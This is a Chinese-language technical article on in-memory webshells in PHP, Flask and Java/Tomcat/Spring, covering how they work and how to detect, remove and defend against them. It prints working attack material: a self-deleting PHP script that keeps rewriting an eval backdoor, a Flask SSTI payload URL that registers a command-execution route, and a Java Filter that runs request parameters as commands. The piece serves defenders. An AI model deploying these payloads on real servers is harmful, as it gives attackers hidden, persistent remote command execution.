内存马简单介绍
字数 1953 2025-08-12 11:34:24
内存马技术全面解析与防御指南
一、内存马概述
内存Webshell(内存马)是一种驻留在服务器内存中的恶意程序,相比传统Webshell具有以下特点:
- 无文件落地:不依赖磁盘文件,直接驻留内存
- 隐蔽性强:绕过传统文件检测机制
- 持久化:服务重启前持续有效
- 难以清除:常规文件删除无效
常见类型:
- PHP不死马
- Python Flask内存马
- Java Filter/Servlet/Listener内存马
- Spring MVC Controller/Interceptor内存马
二、PHP不死马技术
原理与实现
PHP不死马通过以下机制实现持久化:
<?php
set_time_limit(0); // 取消脚本执行时间限制
ignore_user_abort(1); // 忽略用户断开连接
unlink(__FILE__); // 删除自身文件
while (1) {
$content = '<?php @eval($_POST["zzz"]);?>';
file_put_contents("22.php", $content); // 持续生成后门文件
usleep(10000); // 微秒级延迟
}
?>
关键函数解析
ignore_user_abort(): 保持脚本在客户端断开后继续执行set_time_limit(0): 取消脚本执行时间限制unlink(__FILE__): 自删除usleep(): 控制生成频率
检测与清除方法
-
检测方法:
- 检查长时间运行的PHP进程
- 检查不存在的源文件但仍在执行的脚本
-
清除方法:
- 条件竞争写入:创建同名文件覆盖
while(1){ file_put_contents("22.php","<?php //clean?>"); usleep(1000); // 比不死马的usleep值更小 }- 重启PHP服务
三、Python Flask内存马
原理与实现
利用Flask的SSTI(服务端模板注入)漏洞动态注册路由:
from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route('/index')
def index():
content = request.args.get('content')
return render_template_string(content) # 漏洞点
恶意Payload示例:
http://127.0.0.1:5000/index?content={{a.__init__.__globals__['__builtins__']['eval']("app.add_url_rule('/shell1','shell',lambda:__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd','whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
关键属性解析
__class__: 获取对象类型__bases__: 获取基类列表__globals__: 获取全局命名空间__builtins__: 访问内置函数(eval/exec等)
检测方法
- 检查异常路由(如/shell)
- 监控
add_url_rule调用 - 检查内建模块中的危险函数
四、Java内存马技术
1. Filter型内存马
实现原理
动态注册恶意Filter到Tomcat容器:
class MaliciousFilter implements Filter {
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
String cmd = req.getParameter("cmd");
if(cmd != null) {
// 执行命令逻辑
Process p = Runtime.getRuntime().exec(cmd);
// 返回结果...
return;
}
chain.doFilter(req, res);
}
}
注册流程:
- 获取StandardContext
- 创建FilterDef并设置恶意类
- 创建FilterMap设置URL模式
- 创建FilterConfig并注册
检测特征
- 异常Filter名称(如"shell")
- 高优先级Filter
- web.xml中无对应配置
- ClassLoader路径下无class文件
2. Servlet/Listener型内存马
类似Filter型,通过动态注册Servlet或Listener实现命令执行。
3. Spring MVC内存马
Controller型
利用Spring的RequestMapping机制动态注册恶意Controller。
Interceptor型
通过注册恶意Interceptor拦截请求执行命令。
五、内存马检测与查杀
检测工具推荐
-
java-memshell-scanner
- GitHub: https://github.com/c0ny1/java-memshell-scanner
- 使用方式:部署JSP扫描脚本
- 可检测:Filter/Servlet/Listener型
-
copagent
- GitHub: https://github.com/LandGrey/copagent
- 功能:导出所有加载的类供分析
- 输出:危险等级分类、反编译结果
-
Arthas
- GitHub: https://github.com/alibaba/arthas
- 关键命令:
sc -d *Filter # 查看Filter类 sc -d *Servlet # 查看Servlet类 jad com.example.MaliciousClass # 反编译
-
Java VisualVM
- JDK自带工具+MBbeans插件
- 可查看注册的MBeans
手动排查方法
-
日志分析:
- 查找固定URL不同参数的200请求
- 查找不存在的路径返回200
- 查找冰蝎/哥斯拉特征流量
-
运行时分析:
- 检查异常线程
- 检查高CPU占用进程
- 对比加载类与磁盘文件
-
中间件检查:
- 检查error.log中的异常
- 检查最近部署的应用
- 检查框架漏洞利用痕迹
六、防御建议
-
代码层面:
- 关闭危险函数(eval/exec等)
- 严格过滤用户输入
- 禁用不必要的动态代码执行
-
配置层面:
- 限制文件上传类型
- 设置严格的访问控制
- 关闭调试模式
-
运行时防护:
- 部署RASP解决方案
- 使用内存马检测工具定期扫描
- 监控异常进程行为
-
应急响应:
- 保留现场快照(内存dump)
- 彻底排查入侵路径
- 服务重启前确保清除所有恶意代码
七、参考资源
-
工具集合:
- java-memshell-scanner
- copagent
- Arthas
-
技术文章:
- 《基于内存Webshell的无文件攻击技术研究》
- 《Tomcat内存马学习系列》
- 《Spring Interceptor内存马利用》
-
检测指南:
- 《Filter/Servlet型内存马的扫描抓捕与查杀》
- 《基于javaAgent内存马检测查杀指南》
通过全面了解内存马技术原理、掌握检测方法并实施有效防御措施,可以显著提升服务器安全性,防范这类高级威胁。